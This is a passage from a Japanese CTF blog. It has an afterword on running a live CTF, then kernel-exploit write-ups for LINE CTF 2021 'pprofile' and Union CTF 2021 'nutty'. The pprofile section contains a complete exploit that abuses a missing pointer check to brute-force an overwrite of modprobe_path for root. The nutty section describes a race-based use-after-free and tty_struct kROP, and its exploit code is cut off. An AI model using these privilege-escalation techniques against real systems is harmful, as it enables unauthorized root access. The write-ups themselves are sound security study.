今回の作問は、ステップを登っていく楽しさは味わえるようにしながら、ライブなので冷えすぎないように調整することが大事だったと思います。最初はそのコンセプトのもとにプログラムも80-90行くらいで収まるようにしていたのですが、あまりにも意味のないプログラムになりすぎたのでボツにして寿司打にしました(最初はcowsayをもじったmorasayという問題でした)。その結果として100行を超えてしまったのですが、個人的に少し長いプログラムよりもなにをしているかわからないプログラムのほうが読むの苦手なので寿司打におちつきました(それでもレコードをLKMに保存するの、意味わからんけど)。難易度に関しては、Lv1/2はライブ用にしましたが、Lv3は外部用の挑戦問題にしました。ただ、userland側のコードの多さゆえにミスリードが何箇所か存在していたらしく、それのせいで数分奪われてしまい解ききれないという人もいたと思うので、やっぱりシンプルさは大事だなぁと反省しました。

 

今回のpwnに関しては、kCTFでデプロイしています。ただ、k8sよくわからんので、実際に運用しているときにトラブルが発生して迅速に対応できるかと言うと、僕の場合はNoです。また、kCTFにはhealthcheckを自動化してくれるフレームワークが有るためexploitをhealthcheckできるような形式で書いたりする必要があります(今回はそんなに手間ではありませんでしたが、上のexploitコードの1/3くらいは冗長だと思います)。今回もhealthcheckは走ってたらしいですが、なにせstatusバッジがないためあんまり意味があったかはわかりません。

余談ですが、kCTFで権限を落とすのに使われているsetprivですが、aptリポジトリのsetprivを最新のkernelで使うことはできません。というのも、古いsetprivは/proc/sys/kernel/cap_last_capから入手したcap数とlinux/include内で定義されているcap数を比べてassertしているようなので。

a.sh
wataru@skbpc:~/test/sandbox/ctf-directory/chal-sample: 15:41:59 Wed May 05
$ cat /proc/sys/kernel/cap_last_cap
39
wataru@skbpc:~/test/sandbox/ctf-directory/chal-sample: 15:42:11 Wed May 05
$ cat /usr/include/linux/capability.h | grep CAP_LAST_CAP -B5
/* Allow reading the audit log via multicast netlink socket */
#define CAP_AUDIT_READ          37
#define CAP_LAST_CAP         CAP_AUDIT_READ

最新のkernelではCAP_BPFとCAP_PERFMONが追加されているため差分が生じてassertに失敗してしまいます。最新のsetprivではcap_last_capを全面的に信用することにしたらしいので、大丈夫なようです。

a.c
			/* We can trust the return value from cap_last_cap(),
			 * so use that directly. */
			for (i = 0; i <= cap_last_cap(); i++)
				cap_update(action, type, i);

実際にデプロイするときはkernelのver的に大丈夫でしたが、localで試すときには最新版のsetprivをソースからビルドして使いました。

 

 

 

あと毎回思うんですが、pwnの読み方はぽうんではなくぱうんだと思います。

 

 

 

 

まぁなにはともあれlive-ctfも終わりです。

 

 

8: 参考

1: TSG LIVE!6

https://www.youtube.com/watch?v=oitn3AiP6bM&t=14898s

2: ニルギリ

https://youtu.be/yvUvamhYPHw

 

 

 

 

続く...

 

 

【pwn 52.0】pprofile - LINE CTF 2021 (kernel exploit)

keywords

copy_user_generic_unrolled / pointer validation / modprobe_path

 

 

 

1: イントロ

いつぞや開催されたLINE CTF 2021。最近kernel問を解いているのでkernel問を解こうと思って望んだが解けませんでした。このエントリの前半はpprofileの問題の概要及び自分がインタイムに考えたことをまとめていて、後半で実際に動くexploitの概要を書いています。尚、本exploitは@sampritipandaさんのPoCを完全に参考にしています。というかほぼ写経しています。過去のCTFの問題を復習する時に結構この人のPoCを参考にすることが多いので、いつもかなり感謝しています。

今回、振り返ってみるとかなり明らかな、自明と言うか、誘っているようなバグがあったにも関わらず全然気づけなかったので、反省しています。嘘です。コーラ飲んでます。

 

2: static

static.sh
/ $ cat /proc/version
Linux version 5.0.9 (ubuntu@ubuntu) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.11)) #1 SMP 9
$ cat ./run
qemu-system-x86_64 -cpu kvm64,+smep,+smap \
  -m 128M \
  -kernel ./bzImage \
  -initrd ./initramfs.cpio \
  -nographic \
  -monitor /dev/null \
  -no-reboot \
  -append "root=/dev/ram rw rdinit=/root/init console=ttyS0 loglevel=3 oops=panic panic=1"
$ modinfo ./pprofile.ko
filename:       /home/wataru/Documents/ctf/line2021/pprofile/work/./pprofile.ko
license:        GPL
author:         pprofile
srcversion:     35894B85C84616BDF4E3CE4
depends:
retpoline:      Y
name:           pprofile
vermagic:       5.0.9 SMP mod_unload modversions

SMEP有効・SMAP有効・KAISER有効・KASLR有効・oops->panic・シングルコアSMP。ソース配布なし。

 

3: Module

ioctlのみを実装したデバイスを登録している。コマンドは3つ存在し、それぞれ大凡以下のことをする。

 

PP_REGISTER: 0x20

クエリは以下の構造。また、内部では2つの構造体が使われる。

query.c
struct ioctl_query{
    char *comm;
    char *result;
}
struct unk1{
    char *comm;
    struct unk2 *ptr;
}
struct unk2{
    ulong NOT_USED;
    uint pid;
    uint length;
}
struct unk1 storages[0x10]; // global

ユーザから指定されたcommstoragesに存在していなければ新しくunk1unk2kmalloc/kmem_cache_alloc_trace()で確保し、callerのPIDや指定されたcomm及びそのlengthを格納する。この際に、commのlengthに応じて以下の謎の処理があるが、これが何をしているかは分からなかった。

unk_source.c
    else {
      uVar5 = (uint)offset;
                    /* n <= 6 */
      if (uVar5 < 0x8) {
        if ((offset & 0x4) == 0x0) {
                    /* n <= 3 */
          if ((uVar5 != 0x0) && (*__dest = '\0', (offset & 0x2) != 0x0)) {
            *(undefined2 *)(__dest + ((offset & 0xffffffff) - 0x2)) = 0x0;
          }
        }
        else {
                    /* 4 <= n <= 6 */
          *(undefined4 *)__dest = 0x0;
          *(undefined4 *)(__dest + ((offset & 0xffffffff) - 0x4)) = 0x0;
        }
      }
      else {
                    /* n == 7 */
        *(undefined8 *)(__dest + ((offset & 0xffffffff) - 0x8)) = 0x0;
        if (0x7 < uVar5 - 0x1) {
          uVar4 = 0x0;
          do {
            offset = (ulong)uVar4;
            uVar4 = uVar4 + 0x8;
            *(undefined8 *)(__dest + offset) = 0x0;
          } while (uVar4 < (uVar5 - 0x1 & 0xfffffff8));
        }
      }

 

PP_DESTROY: 0x40

storagesから指定されたcommを持つエントリを探して、kfree()及びNULLクリアするのみ。

 

PP_ASK: 0x10

指定されたcommに該当するstoragesのエントリのunk2構造体が持つ値を、指定されたquery.resultにコピーする。このコピーでは以下のようにput_user_size()という関数が使われている。

pp_ask.c
                    /* Found specified entry */
            uVar5 = unk1->info2->pid;
            uVar4 = unk1->info2->length;
            put_user_size(NULL,l58_query.result,0x4);
            iVar2 = extraout_EAX;
            if ((extraout_EAX != 0x0) ||
               (put_user_size((char *)(ulong)uVar5,comm + 0x8,0x4), iVar2 = extraout_EAX_00,
               extraout_EAX_00 != 0x0)) goto LAB_001001a0;
            put_user_size((char *)(ulong)uVar4,comm + 0xc,0x4);

この関数は、内部でcopy_user_generic_unrolled()という関数を用いてコピーを行っている。この関数の存在を知らなかったのだが、/arch/x86/lib/copy_user_64.Sアセンブラで書かれた関数でuserlandに対するコピーを行うらしい。先頭にあるSTAC命令は一時的にSMAPを無効にする命令である。

copy_user_64.S
ENTRY(copy_user_generic_unrolled)
	ASM_STAC
	cmpl $8,%edx
	jb 20f		/* less then 8 bytes, go to byte copy loop */
	ALIGN_DESTINATION
	movl %edx,%ecx
	andl $63,%edx
	shrl $6,%ecx
	jz .L_copy_short_string
1:	movq (%rsi),%r8
(snipped...)

この時点で、明らかにこれが自明なバグであることに気づくべきだった 。まぁ、後述。

 

 

4: 期間中に考えたこと(FAIL)

絶対にレースだと思ってた。というのも、リバースしたコードが、それはもうTOCTOU臭が漂いまくっていた。いや、本当は漂ってなかったかも知れないが、絶対そうだと思いこんでいた。一番有力なのは以下の部分だと思ってた。

sus.c
      if (command == 0x10) {
        iVar2 = strncpy_from_user(&l41_user_comm,l58_query.userbuf,0x8);
        if ((iVar2 == 0x0) || (iVar2 == 0x9)) goto LAB_00100341;
        if (iVar2 < 0x0) goto LAB_001001a0;
        p_storage = storages;
        do {
          unk1 = *p_storage;
          if ((unk1 != NULL) &&
             (iVar2 = strcmp(unk1->comm,(char *)&l41_user_comm), comm = l58_query.result,
             iVar2 == 0x0)) {
                    /* Found specified entry */
            uVar5 = unk1->info2->pid;
            uVar4 = unk1->info2->length;
            put_user_size(NULL,l58_query.result,0x4);
            iVar2 = extraout_EAX;
            if ((extraout_EAX != 0x0) ||
               (put_user_size((char *)(ulong)uVar5,comm + 0x8,0x4), iVar2 = extraout_EAX_00,
               extraout_EAX_00 != 0x0)) goto LAB_001001a0;
            put_user_size((char *)(ulong)uVar4,comm + 0xc,0x4);

userから指定されたcommstrncpy_from_user()でコピーした後に、合致するエントリがあるかをstoragesから探し、見つかったならばその結果をquery.resultにコピーしている。ここだけが唯一storagesからの検索後にもユーザランドへのアクセスがあったため、ここでuffdしてTOCTOUするものだと思った。処理を止めている間に該当エントリをPP_DESTROYして何か他のオブジェクトを入れた後にreadするんじゃないかと思った。だが、実際の処理ではユーザアクセス(put_user_size())の前にpidとlengthをスタックに積んでいるため、少なくともuffdによるレースは失敗する。なんかうまいことstoragesの検索後からスタックに積むまでの間に処理が移ったら良いんじゃないかとも思ったが、だいぶしんどそう。しかも、この方法だとleakができたとしてもwriteする手段がないためどっちにしろ詰むことになったと思う。

レースの線に固執しすぎていたのと、あと単純にリバースが下手でバイナリを読み間違えていたのもあって、解けなかった。

 

5: Vuln

以下、完全に@sampritipandaさんのPoCをパクっています。

上述したが、ユーザランドへのコピーにcopy_user_generic_unrolled()を使っている。この関数のことを読み飛ばしていたのだが、kernelを読んでみると、この関数はCPUがrep movsq等の効率的なコピーに必要な命令のマイクロコードをサポートしていない場合に呼ばれる関数らしい。

uaccess_64.h
copy_user_generic(void *to, const void *from, unsigned len)
{
	unsigned ret;

	/*
	 * If CPU has ERMS feature, use copy_user_enhanced_fast_string.
	 * Otherwise, if CPU has rep_good feature, use copy_user_generic_string.
	 * Otherwise, use copy_user_generic_unrolled.
	 */
	alternative_call_2(copy_user_generic_unrolled,
			 copy_user_generic_string,
			 X86_FEATURE_REP_GOOD,
			 copy_user_enhanced_fast_string,
			 X86_FEATURE_ERMS,
			 ASM_OUTPUT2("=a" (ret), "=D" (to), "=S" (from),
				     "=d" (len)),
			 "1" (to), "2" (from), "3" (len)
			 : "memory", "rcx", "r8", "r9", "r10", "r11");
	return ret;
}

そして、このcopy_user_generic()自体は通常のcopy_from_user()から呼ばれる関数である。(raw_copy_from_user()経由)

usercopy.c
unsigned long _copy_from_user(void *to, const void __user *from, unsigned long n)
{
	unsigned long res = n;
	might_fault();
	if (likely(access_ok(from, n))) {
		kasan_check_write(to, n);
		res = raw_copy_from_user(to, from, n);
	}
	if (unlikely(res))
		memset(to + (n - res), 0, res);
	return res;
}
EXPORT_SYMBOL(_copy_from_user);

はい。上の関数を見れば分かるが、raw_copy_from_user()を呼び出す前にはaccess_ok()を呼んで、指定されたユーザランドポインタがvalidなものであるかをチェックする必要がある。つまり、copy_user_generic_unrolled()自体はこのチェックが既に済んでおり、ポインタはvalidなものとして扱う。よって、 query.resultにkernellandのポインタを渡してしまえばAAWが実現される

 

6: 方針

PP_ASKで書き込まれる値は、commlength・PID、及び使用されていない常に0の8byteである(これナニ?)。この内commはlengthが1~7に限定されているため、任意に操作できるのはPIDだけである。fork()を所望のPIDになるまで繰り返せば任意の値を書き込むことができる。

任意書き込みができる場合に一番楽なのはmodprobe_pathである。この際、KASLRが有効だからleakしなくちゃいけないと思ったら、意外とbruteforceでなんとかなるらしい。エントロピーは、以下の試行でも分かるように1byteのみである。 readのbruteforceならまだしも、writeのbruteforceでも意外とkernelはcrashしないらしい 。勉強になった。

ex.txt
ffffffff82256f40 D modprobe_path
ffffffff90256f40 D modprobe_path
ffffffff96256f40 D modprobe_path

 

7: exploit

exploit.c
/** This PoC is completely based on https://gist.github.com/sampritipanda/3ad8e88f93dd97e93f070a94a791bff6 **/

#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>
#include <assert.h>
#include <stdlib.h>
#include <signal.h>
#include <poll.h>
#include <pthread.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/userfaultfd.h>
#include <linux/prctl.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/shm.h>


// commands
#define DEV_PATH "/dev/pprofile"   // the path the device is placed

// constants
#define PAGE 0x1000
#define FAULT_ADDR 0xdead0000UL
#define FAULT_OFFSET PAGE
#define MMAP_SIZE 4*PAGE
#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
// (END constants)

// globals
// (END globals)


// utils
#define WAIT getc(stdin);
#define ulong unsigned long
#define scu static const unsigned long
#define NULL (void*)0
#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
                        } while (0)
#define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\
                        if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");}
ulong user_cs,user_ss,user_sp,user_rflags;
struct pt_regs {
	ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
	ulong bx;  ulong r11; ulong r10; ulong r9; ulong r8;
	ulong ax; ulong cx; ulong dx; ulong si; ulong di;
	ulong orig_ax; ulong ip; ulong cs; ulong flags;
  ulong sp; ulong ss;
};
void print_regs(struct pt_regs *regs)
{
  printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
  printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
  printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
  printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
  printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
}
void NIRUGIRI(void)
{
  char *argv[] = {"/bin/sh",NULL};
  char *envp[] = {NULL};
  execve("/bin/sh",argv,envp);
}
// should compile with -masm=intel
static void save_state(void) {
  asm(
      "movq %0, %%cs\n"
      "movq %1, %%ss\n"
      "movq %2, %%rsp\n"
      "pushfq\n"
      "popq %3\n"
      : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" 		);
}

static void shellcode(void){
  asm(
    "xor rdi, rdi\n"
    "mov rbx, QWORD PTR [rsp+0x50]\n"
    "sub rbx, 0x244566\n"
    "mov rcx, rbx\n"
    "call rcx\n"
    "mov rdi, rax\n"
    "sub rbx, 0x470\n"
    "call rbx\n"
    "add rsp, 0x20\n"
    "pop rbx\n"
    "pop r12\n"
    "pop r13\n"
    "pop r14\n"
    "pop r15\n"
    "pop rbp\n"
    "ret\n"
  );
}
// (END utils)

/*** GLOBALS *****/
void *mmap_addr;
int fd;
char inbuf[PAGE];
char outbuf[PAGE];
/********************/

#define PP_REGISTER 0x20
#define PP_DESTROY 0x40
#define PP_ASK 0x10

struct query{
  char *buf;
  char *result;
};

void _register(int fd, char *buf){
  printf("[.] register: %d %p(%s)\n", fd, buf, buf);
  struct query q = {
      .buf = buf};
  int ret = ioctl(fd, PP_REGISTER, &q);
  printf("[reg] %d\n", ret);
}

void _destroy(int fd, char *buf){
  printf("[.] destroy: %d %p(%s)\n", fd, buf, buf);
  struct query q = {
      .buf = buf
  };
  int ret = ioctl(fd, PP_DESTROY, &q);
  printf("[des] %d\n", ret);
}

void _ask(int fd, char *buf, char *obuf){
  printf("[.] ask: %d %p %p\n", fd, buf, obuf);
  struct query q = {
      .buf = buf,
      .result = obuf
  };
  int ret = ioctl(fd, PP_ASK, &q);
  printf("[ask] %d\n", ret);
}

void ack_pid(int pid, void (*f)(ulong), ulong arg){
  while(1==1){
    int cur = fork();
    if(cur == 0){ // child
      if(getpid() % 0x100 == 0){
        printf("[-] 0x%x\n", getpid());
      }
      if(getpid() == pid){
        f(arg);
      }
      exit(0);
    }else{ // parent
      wait(NULL);
      if(cur == pid)
        break;
    }
  }
}

void sub_aaw(ulong offset){
  for (int ix = 0; ix != 0xFF; ++ix){
    ulong target = 0xffffffff00000000UL
                    + ix * 0x01000000UL
                    + offset;
    _register(fd, inbuf);
    _ask(fd, inbuf, (char *)target);
    _destroy(fd, inbuf);
  }
}

void aaw(ulong offset, unsigned val){
  ack_pid(val, &sub_aaw, offset);
}

int main(int argc, char *argv[]) {
  char s_evil[] = "/tmp/a\x00";
  memset(inbuf, 0, 0x200);
  memset(outbuf, 0, 0x200);
  strcpy(inbuf, "ABC\x00");
  fd = open(DEV_PATH, O_RDONLY);
  assert(fd >= 2);

  // setup for modprobe_path overwrite
  system("echo -ne '#!/bin/sh\nchmod 777 /root/flag' > /tmp/a");
  system("chmod +x /tmp/a");
  system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/nirugiri");
  system("chmod +x /tmp/nirugiri");

  for(int ix=0;ix<strlen(s_evil);ix+=2){
    printf("[+] writing %x.......\n", *((unsigned short*)(s_evil+ix)));
    aaw(0x256f40 - 0x10 + 8 + ix, *((unsigned short*)(s_evil+ix)));
  }

  // invoke user_mod_helper
  system("/tmp/nirugiri");

  return 0;
}

/*
ffffffff82256f40 D modprobe_path
ffffffff90256f40 D modprobe_path
ffffffff96256f40 D modprobe_path
*/

 

8: アウトロ

f:id:smallkirby:20210321160043p:plain

 

この、無能め!!!!

 

 

9: symbols without KASLR

/ # cat /proc/kallsyms | grep pprofile
0xffffffffc0002460 t pprofile_init        [pprofile]
0xffffffffc00044d0 b __key.27642  [pprofile]
0xffffffffc00030a0 r pprofile_fops        [pprofile]
0xffffffffc0002570 t pprofile_exit        [pprofile]
0xffffffffc00032bc r _note_6      [pprofile]
0xffffffffc0004440 b p    [pprofile]
0xffffffffc0004000 d pprofile_major       [pprofile]
0xffffffffc0004040 d __this_module        [pprofile]
0xffffffffc0002570 t cleanup_module       [pprofile]
0xffffffffc00044c8 b pprofile_class       [pprofile]
0xffffffffc0002460 t init_module  [pprofile]
0xffffffffc0002000 t put_user_size        [pprofile]
0xffffffffc0002050 t pprofile_ioctl       [pprofile]
0xffffffffc0004460 b cdev [pprofile]
0xffffffffc00043c0 b storages     [pprofile]

 

10: 参考

1: sampritipandaさんのPoC

https://gist.github.com/sampritipanda/3ad8e88f93dd97e93f070a94a791bff6

2: ニルギリ(100万再生いってるけど、内7億回くらいは僕です)

https://youtu.be/yvUvamhYPHw

 

 

 

続く...

 

 

【pwn 51.0】nutty - Union CTF 2021 [maybe not intended sol] (kernel exploit)

keywords

kernel exploit / race without uffd / SLOB / seq_operations / tty_struct / bypass SMAP via kROP on kheap

 

 

 

1: イントロ

いつぞや開催された Union CTF 2021 。そのpwn問題である nutty 。先に言ってしまうと、localでrootが取れたもののremoteで動かなかったためflagは取れませんでした。。。。。。。

今これを書いているのが日曜日の夜9:30のため、あとCTFは6時間くらいあって、その間にremoteで動くようにデバッグしろやと自分自身でも思っているんですが、ねむねむのらなんにゃんこやねんになってしまったため、寝ます。起きたら多分CTF終わってるので、忘却の彼方に行く前に書き残しときます。感想を言っておくと、今まで慣れ親しんできたkernel問とはconfigが結構違うくて、辛かったです。

あとでちゃんと復習して、remoteでもちゃんと動くようなexploitに書き直しときます

【追記20210222】

なんかDiscord見た感じ、普通にoverflowがあったっぽい。。。。。。けど気づかなかったので、一切overflowを使わずに進めてしまいました。:cry:

【追記終わり】

【追記20210222】

方針は、完全にこれでよかった。ただ一つ、間違えていたのはsetxattrする対象をloaclでは/tmpに入れていたが、remoteでは/home/userに入れていたため、setxattrが動いてなかっただけだった。。。。普段なら返り値全てにassertしているのだが、今回はuffdなしのraceだったため少しでも余計な処理をなくすためにassertを端折ってしまっていた。実際にsetxattrの第一引数を/home/userに変更するだけで、exploitは1/2の確率でremoteで動作するようになった。。。。。もおおおおおおおおおおおおおおおおお。

f:id:smallkirby:20210222112132p:plain

invalid argument#1 of setxattr.........

f:id:smallkirby:20210222112152p:plain

my exploit works by fixing only arg#1 of setxattr......

【追記終わり】

 

2: static

basic

basic.sh
/ $ cat /proc/version
Linux version 5.10.17 (p4wn@p4wn) (gcc (GCC) 10.2.0, GNU ld (GNU Binutils) 2.35) #3 SMP Thu Feb 18 21:52:1
/ $ lsmod
vulnmod 16384 0 - Live 0x0000000000000000 (O)

timeout qemu-system-x86_64 \
        -m 128 \
        -kernel bzImage \
        -initrd initramfs.cpio \
        -nographic \
        -smp 1 \
        -cpu kvm64,+smep,+smap \
        -append "console=ttyS0 quiet kaslr" \
        -monitor /dev/null \

SMEP有効・SMAP有効・KASLR有効・KAISER有効・FGKASLR無効。

 

module

ソースコードが配布されている。最高。nutという構造体があり、ユーザから提供されたデータを保持するノートみたいな役割を果たす。

 

3: Vuln

kUAF / double fetch

vulnmod.c
static int append(req* arg){ 
    int idx = read_idx(arg);
    if (idx < 0 || idx >= 10){
        return -EINVAL;
    }
    if (nuts[idx].contents == NULL){
        return -EINVAL;
    }

    int new_size = read_size(arg) + nuts[idx].size;
    if (new_size < 0 || new_size >= 1024){
        printk(KERN_INFO "bad new size!\n"); 
        return -EINVAL;
    }
    char* tmp = kmalloc(new_size, GFP_KERNEL); 
    memcpy_safe(tmp, nuts[idx].contents, nuts[idx].size);
    kfree(nuts[idx].contents); // A
    char* appended = read_contents(arg); // B
    if (appended != 0){
        memcpy_safe(tmp+nuts[idx].size, appended, new_size - nuts[idx].size); 
        kfree(appended); // C
    }
    nuts[idx].contents = tmp; // D
    nuts[idx].size = new_size;

    return 0;
}

ノートを書き足す際にappend()関数が呼ばれる。この時、"A"において古いノートを一旦kfree()して、"B"で追加されたデータをcopy_from_user()によってコピーした後、コピーに使った一時的な領域を"C"でkfree()している。この時、ノートの管理構造体であるnutに対して新しいデータが実際につけ変わるのは"D"であり、"A"と"D"の間ではkfree()された領域へのポインタが保持されたままになっている。よって、"A"と"D"の間で上手く処理をユーザランドに戻すことができれば、RaceConditionになる。

 

invalid show size

vulnmod-show.c
static int show(req* arg){ 
    int idx = read_idx(arg);
    if (idx < 0 || idx >= 10){
        return -EINVAL;
    }
    if (nuts[idx].contents == NULL){
        return -EINVAL;
    }
    copy_to_user(arg->show_buffer, nuts[idx].contents, nuts[idx].size);

    return 0;
}

ユーザが書き込んだデータをユーザランドに返すshow()という関数がある。このモジュールではデータ読み込みの際に、データバッファ自体のサイズと実際に入力するデータ長を区別しているが、copy_to_user()においては実際のデータ長(nut.content_length)ではなく、バッファの長さ(nut.size)を利用している。よって、短いデータを大きいバッファに入れることで初期化されていないheap内のデータを読むことができ、容易にheapアドレス等のleakができる。

 

 

4: leak kernbase

race via userfaultfd (FAIL)

これだったら、いつもどおりuffdでraceを安定させて終わりじゃーんと最初に問題を見たときには思った。だが、調べる内にこのkernelには 想定外のことが3つ あった。

1つ目。uffdが無効になっている。呼び出すと、Function not Implementedと表示されるだけ。よって、uffdによってraceを安定化させるということはできない。

not-exist-uffd.sh
/ # cat /proc/kallsyms | grep userfaultfd
ffffffffad889df0 W __x64_sys_userfaultfd
ffffffffad889e00 W __ia32_sys_userfaultfd

2つ目。スラブアロケータがSLUBじゃない。heapを見てみると、見慣れたSLUBと構造が異なっていた。恐らくこれはSLOBである。そして、ぼくはSLOBの構造をよく知らない。なんかキャッシュが大中小の3パターンでしか分かれていないというのと、objectの終わりの方に次へのポインタがあるっていうことくらい。

3つ目。modprobe_pathがない。なんかあってもmodprobe_path書き換えれば終わりだろ〜と思っていたが、これまた検討が外れた。

【追記20210222】

modprobe_path、普通に存在していたらしい。まぁあっても使わなかったと思うけど。

 

race to leak kernbase without uffd (Success)

uffdが使えないため、素直にraceを起こすことにした。利用する構造体はseq_operations。大まかな流れは以下のとおり。

leak-concept.txt
1. 0x20サイズのnutをcreate
2. 1で作ったnutに対してsize:0x100,content_length:0でひたすらにappendし続ける
3. 別スレッドにおいて1で作ったnutからひたすらにopen(/proc/self/stat)とshowを交互にする
4. 上手くタイミングが噛み合い、appendの途中で3のスレッドにスイッチした場合、kfreeされたnutをseq_operationsとして確保できる。よって、これをshowすることでポインタがleakできる。

f:id:smallkirby:20210221230340p:plain

leak kernbase

これで、kernbaseのleak完了。

 

5: get RIP

RIPの取得も、kernbaseのleakとほぼ同じようにraceさせることでできる。今回はtty_structを使った。

 

6: bypass SMAP via kROP in kernel heap

RIPを取れたは良いが、今回はSMAP/SMEP/KPTI有効というフル機構である。SMEP有効のためuserlandのshellcodeは動かせないし、SMAP有効のためuserlandにstack pivotしてkROPすることもできない。また、modprobe_pathも存在しないため書き換えだけでrootを取ることもできない。ここでかなり悩んで時間を使ってしまった。

最終的に、tty_struct内の関数ポインタを書き換えてgadgetに飛んだ時に、RBPがtty_struct自身を指していることが分かった。そのため、leave, retするgadgetに飛ぶことで、RSPtty_struct、すなわちkernel heapに向けることができる。但し、このtty_structは既にRIPを取るために使ったペイロードが入っている。よって、 このペイロードも含めてkROPとして成立するようなkROP chain を組む必要があった。最終的にtty_structは以下のようなペイロードとchainを含んだ構造になった。

f:id:smallkirby:20210221232519j:plain

tty_struct both as payload and ROP chain in the same time

これで/dev/ptymxに対してioctlすると、まず中程(黄色)のleaveするgadgetに飛ぶ(opsを変えても何も起こらなかったのは何故???)。そこでleaveをするとRSPがこのtty_structの先頭を指すようになる(厳密にはmagicの次)。但し、このtty_structにはioctl時に破損していてはいけないポインタが入っているっぽいため、これは残しておく必要がある。kROP時にはこれが邪魔になるため、これをpoppop gadgetで取り除く。また、一番最初に使ったleaveへのgadgetも、これが残っていると永遠にROPがループしてしまうため、pop gadgetによって取り除く。あとはcc(pkc(0))した後でswapgs_restore_and_return_to_user+iretqして終わり。
【追記20210222】

今回これがremoteで動かなかった原因は未だにはっきりとしていないが、raceの成功を確認してからtty_structを改ざんするまでの間にcontext switchが入ってしまったことが原因の一つとして考えられる。モジュール内のユーザランドからデータの取得する処理にかける時間を増やすため、appendの際にくそでかバッファをコピーさせるという緩和策が考えられる。(参考: https://twitter.com/pwnyaa/status/1363656594764931075?s=20)

 

7: remoteでrootが取れないぽよ。。。 (FAIL)

これでローカル環境においてシェルが取れたが、リモート環境においてどうしてもシェルが取れなかった。多分、ローカルで動いているということは、ちょっと調整をするだけで取れるような気もするが、ローカルで動かすまでにかなり精神を摩耗させてしまったためremoteでシェルを取ることは叶わなかった。悲しいね。。。

(もっと悲しいのは、その原因がしょうもないtypoだったって分かったときだね。。。 )

 

8: exploit

ローカルでは 3回に1回くらいの確率 でrootが取れる。但し、remoteでは取れなかった。remoteとlocalの違いと言えば、最初にプログラムをsend/decompressするかくらいなため、そこになんか重要な違いでもあったのかなぁ。多分初期のheap状態とかだと思うんですが、如何せんSLOBよく知らんし、調べる気力もCTF中は失われてしまった。。。

remoteでも70%くらいの確率でroot取れます。

exploit.c
#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>
#include <assert.h>
#include <stdlib.h>
#include <signal.h>
#include <poll.h>
#include <pthread.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/userfaultfd.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/shm.h>


// commands
#define DEV_PATH "/dev/nutty"   // the path the device is placed

// constants
#define PAGE 0x1000
#define FAULT_ADDR 0xdead0000
#define FAULT_OFFSET PAGE
#define MMAP_SIZE 4*PAGE
#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
// (END constants)

// globals
// (END globals)


// utils
#define WAIT getc(stdin);
#define ulong unsigned long
#define scu static const unsigned long
#define NULL (void*)0
#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
                        } while (0)
#define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\
                        if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");}
ulong user_cs,user_ss,user_sp,user_rflags;
struct pt_regs {
	ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
	ulong bx;  ulong r11; ulong r10; ulong r9; ulong r8;
	ulong ax; ulong cx; ulong dx; ulong si; ulong di;
	ulong orig_ax; ulong ip; ulong cs; ulong flags;
  ulong sp; ulong ss;
};
void print_regs(struct pt_regs *regs)
{
  printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
  printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
  printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
  printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
  printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
}
void NIRUGIRI(void)
{
  puts("[!!!] REACHED NIRUGIRI");
  int ruid, euid, suid;
  getresuid(&ruid, &euid, &suid);
  //if(euid != 0)
  //  errExit("[ERROR] FAIL");
  system("/bin/sh");
  //char *argv[] = {"/bin/sh",NULL};
  //char *envp[] = {NULL};
  //execve("/bin/sh",argv,envp);
}
// should compile with -masm=intel
static void save_state(void) {
  asm(
      "movq %0, %%cs\n"
      "movq %1, %%ss\n"
      "movq %2, %%rsp\n"
      "pushfq\n"
      "popq %3\n"
      : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" 		);
}

static void shellcode(void){
  asm(
    "xor rdi, rdi\n"
    "mov rbx, QWORD PTR [rsp+0x50]\n"
